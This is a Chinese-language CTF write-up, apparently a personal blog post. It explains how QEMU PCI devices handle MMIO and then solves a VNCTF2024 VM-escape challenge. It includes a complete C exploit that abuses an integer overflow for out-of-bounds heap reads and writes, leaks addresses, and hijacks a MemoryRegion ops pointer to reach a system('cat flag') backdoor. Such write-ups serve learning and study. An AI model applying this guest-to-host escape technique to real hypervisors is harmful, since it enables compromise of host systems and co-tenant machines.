貌似已经很久很久没有更新了。。。。。主要在搞学业上的一些汇报以及大作业还有期末,中间陆续会写几道pwn题,但是博客实在是没有精力写了。
最近接触了qemu虚拟化相关的一些知识,打算记录一下自己对于qemu容器借助有漏洞的pci设备来逃逸的一些学习过程,本博客记录了笔者从这方面完全一头雾水到初步理解(大概?
qemu中pci设备使用mmio通信步骤
这里用blizzardctf2017的strng设备实现来分析
1 2 3 4 5 6 7 8 9
| static void pci_strng_realize(PCIDevice *pdev, Error **errp) { STRNGState *strng = DO_UPCAST(STRNGState, pdev, pdev);
memory_region_init_io(&strng->mmio, OBJECT(strng), &strng_mmio_ops, strng, "strng-mmio", STRNG_MMIO_SIZE); pci_register_bar(pdev, 0, PCI_BASE_ADDRESS_SPACE_MEMORY, &strng->mmio); memory_region_init_io(&strng->pmio, OBJECT(strng), &strng_pmio_ops, strng, "strng-pmio", STRNG_PMIO_SIZE); pci_register_bar(pdev, 1, PCI_BASE_ADDRESS_SPACE_IO, &strng->pmio); }
|
在初始化完毕后,内存访问的流程如下:
Guest OS内存访问
↓
QEMU内存子系统
↓
查找对应的MemoryRegion → 找到 &strng->mmio
↓
调用 strng_mmio_ops 中的回调函数
↓
执行具体的设备模拟操作
当GuestOS访问到mmio_base_address到mmio_base_address+STRNG_MMIO_SIZE的范围内的内存时会调用&strng_mmio_ops结构体中对应的指针:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85
| static const MemoryRegionOps strng_mmio_ops = { .read = strng_mmio_read, .write = strng_mmio_write, .endianness = DEVICE_NATIVE_ENDIAN, };
static uint64_t strng_pmio_read(void *opaque, hwaddr addr, unsigned size) { STRNGState *strng = opaque; uint64_t val = ~0ULL;
if (size != 4) return val;
switch (addr) { case STRNG_PMIO_ADDR: val = strng->addr; break;
case STRNG_PMIO_DATA: if (strng->addr & 3) return val;
val = strng->regs[strng->addr >> 2]; }
return val; }
static void strng_pmio_write(void *opaque, hwaddr addr, uint64_t val, unsigned size) { STRNGState *strng = opaque; uint32_t saddr;
if (size != 4) return;
switch (addr) { case STRNG_PMIO_ADDR: strng->addr = val; break;
case STRNG_PMIO_DATA: if (strng->addr & 3) return; saddr = strng->addr >> 2; switch (saddr) { case 0: strng->srand(val); break;
case 1: strng->regs[saddr] = strng->rand(); break;
case 3: strng->regs[saddr] = strng->rand_r(&strng->regs[2]); break;
default: strng->regs[saddr] = val; } } }
|
我将上面这个流程直白一点理解就是:在qemu容器中读写特定的base加偏移会触发pci设备特定的回调,逻辑中会操控qemu进程中的堆区域,如果其中存在漏洞,我们就能在容器里面通过内存读写触发qemu进程层面(相当于逃逸出了qemu容器)的漏洞。
BAR是(Base Address Register,基地址寄存器)是 PCIe 设备用来向主机“申请”一段 MMIO(Memory-Mapped I/O)地址空间的窗口;MMIO 区域则是主机把这段申请到的物理地址范围真正映射到设备内部寄存器或存储器之后,CPU 可见的那片“内存”区域。
具体流程:
- 设备在上电/枚举时把各 BAR 的低位 RO 字段填成“我需要 2^n 字节、32/64 bit、可预取/不可预取”等属性,高位可写位保持全 0。
- BIOS/OS 向 BAR 写全 1 再读回,根据第一个为 0 的位算出大小,然后在物理地址空间里找一段不冲突的区域,把起始地址写回 BAR。
- 从此,这段物理地址范围被标记为“MMIO 区域”,Root Complex 见到落在该范围的 TLP 就会转发给对应设备;对 CPU 来说,它就像一段普通内存,可用 load/store 直接访问 。
- 设备内部逻辑把 BAR 基址与内部偏移做比对,匹配即认领事务,完成寄存器或显存等资源的读写 。
Guest Os层面的利用
1 2 3 4 5 6
| int fd; if((fd = open(pci_device_name, O_RDWR | O_SYNC)) == -1) { perror("open pci device"); exit(-1); } mmio_base = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, fd,0);
|
通过查看pci设备的版本号,厂商获得相应的pci的mmio设备文件:/sys/devices/pci0000:00/0000:00:04.0/resource0
再通过mmap映射将mmio的”物理地址”挂到GusetOS中exp的进程内存中,接下来可以根据题目中的设备驱动构造相应的读写函数
1 2 3 4 5 6 7 8 9
| void mmio_write(uint64_t addr, uint64_t value) { *((uint64_t*)(mmio_base + addr)) = value; }
uint32_t mmio_read(uint64_t addr) { return *((uint32_t*)(mmio_base + addr)); }
|
题目
好了接下来复现一道qemu逃逸的CTF题目:VNCTF2024中一道题
搭建qemu逃逸题目的调试环境:需要本地运行docker,同时在Dockerfile让容器提前下载好gdb(pwndbg配置太麻烦了),运行run.sh跑起来目标qemu,用gdb attach上对应进程,开始愉快的调试
这里用两个终端分别运行docker容器:docker exec -ti 容器名字 /bin/bash
首先分析对应pci设备的处理逻辑:
!
对于读取逻辑来说,偏移存在两种情况:
- 0x10:读取ptr+0xb80位置数据
- 0x20:读取ptr+[ptr+0xb80]+0xb40位置的数据
!
对于写入逻辑:
- 0x30:如果ptr+0xb84为0,则写入值到ptr+0xb40+[ptr+0xb80]位置,并把ptr+0xb84置为1
- 0x10:如果写入内容小于0x3c
(存在整数溢出),将值写入ptr+0xb80处位置
- 0x20:对于内容取高32位数据(需要小于0x3c),作为偏移,并将低32位内容写入ptr+0xb40+high(content)的位置
通过整数溢出我们能够读取-2 147 483 648 ≤ (ptr+0xb40) ≤ 60范围的值
漏洞点就在利用整数溢出实现的越界数据读写来操控qemu进程内的堆空间,实现qemu的逃逸。
接下来看看ptr内存附近的内存都有些啥东西,这里列一下 MemoryRegion这个结构体
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| struct MemoryRegion { Object parent_obj; uint64_t size; uint64_t addr; bool mapped; uint8_t dirty_log_mask; const MemoryRegionOps *ops; void *opaque; MemoryRegion *container; Int128 size_int128; RAMBlock *ram_block; bool ram; bool rom; bool readonly; bool nonvolatile; bool rom_device; bool flush_coalesced_mmio; bool global_locking; QTAILQ_HEAD(subregions, MemoryRegion) subregions; QTAILQ_ENTRY(MemoryRegion) subregions_link; QTAILQ_HEAD(coalesced_ranges, CoalescedMemoryRange) coalesced; QTAILQ_ENTRY(MemoryRegion) addr_search_link; };
|
我们关注其中的const MemoryRegionOps *ops,如果能够控制这个结构体地址指向我们控制的地址,就能在执行 vn_mmio_read 和 vn_mmio_write 时去执行 我们地址上 指向的函数。在ida中搜索/bin/sh,查看交叉引用可以找到一个后门函数地址:0x67429B
!
那么现在存在两个目标:
- 泄露qemu进程的pie地址
- 修改MemoryRegion中ops指针到我们能够控制的地址并将其指向后门函数
通过遍历查找我们可以读的偏移找到pie地址,求出pie_base,同时对应偏移上能够修改到对应的MemoryRegion中的ops指针
下面是exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105
| #include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <stdint.h> #include <string.h> #include <errno.h> #include <signal.h> #include <fcntl.h> #include <ctype.h> #include <termios.h> #include <assert.h>
#include <sys/types.h> #include <sys/mman.h> #include <sys/io.h>
#define MAP_SIZE 0x1000000 #define MAP_MASK (MAP_SIZE - 1)
char* pci_path="/sys/devices/pci0000:00/0000:00:04.0/resource0"; uint64_t mmio_base;
unsigned char* getMMIOBase(){
int fd; if((fd = open(pci_path, O_RDWR | O_SYNC)) == -1) { perror("open pci device"); exit(-1); } mmio_base= mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, fd,0); if(mmio_base == (void *) -1) { perror("mmap"); exit(-1); } return mmio_base; }
uint32_t* mmio_read(uint64_t offsest){ return *((uint32_t*)(mmio_base + offsest)); }
void mmio_write(uint64_t addr, uint64_t value) { *((uint64_t*)(mmio_base + addr)) = value; }
void mmio_write_idx(uint64_t idx, uint64_t value) { uint64_t val = value + (idx << 32); mmio_write(0x20,val); }
int main(int argc, char const *argv[]) { uint32_t catflag_addr = 0x6E65F9; getMMIOBase(); printf("mmio_base Resource0Base: %p\n", mmio_base);
mmio_write(0x10, -17*0x8); uint64_t pie_low = mmio_read(0x20); mmio_write(0x10, -17*0x8 + 0x4); uint64_t pie_high = mmio_read(0x20); uint64_t pie = pie_low + (pie_high << 32) - 0x82B35B; printf("pie = 0x%llx\n", pie); getchar();
mmio_write(0x10, -10*0x8); uint64_t heap_low = mmio_read(0x20); mmio_write(0x10, -10*0x8 + 0x4); uint64_t heap_high = mmio_read(0x20); uint64_t heap = heap_low + (heap_high << 32); printf("heap = 0x%llx\n", heap); uint64_t backdoor = pie + 0x67429B; uint64_t system_plt_addr = heap + 0x60 + 8; uint64_t cmdaddr = heap + 0x58 + 8; getchar();
mmio_write_idx(8,0x20746163); mmio_write_idx(12,0x67616C66); mmio_write_idx(16,backdoor & 0xffffffff); mmio_write_idx(20,backdoor >> 32); mmio_write_idx(24,system_plt_addr & 0xffffffff); mmio_write_idx(28,system_plt_addr >> 32); mmio_write_idx(32,cmdaddr & 0xffffffff); mmio_write_idx(36,cmdaddr >> 32); getchar(); for(int i = 40;i <= 60 ;i += 4 ) { mmio_write_idx(i,0); } getchar();
mmio_write(0x10,-0xc0); getchar();
mmio_write(0x30,system_plt_addr); getchar(); mmio_read(0); return 0;
} }
|
本题总结
本质上题目在有漏洞的mmio逻辑中实现越界读写,通过越界读写篡改到qemu中一个存储在堆空间的特殊结构体:MemoryRegion,从而劫持程序流。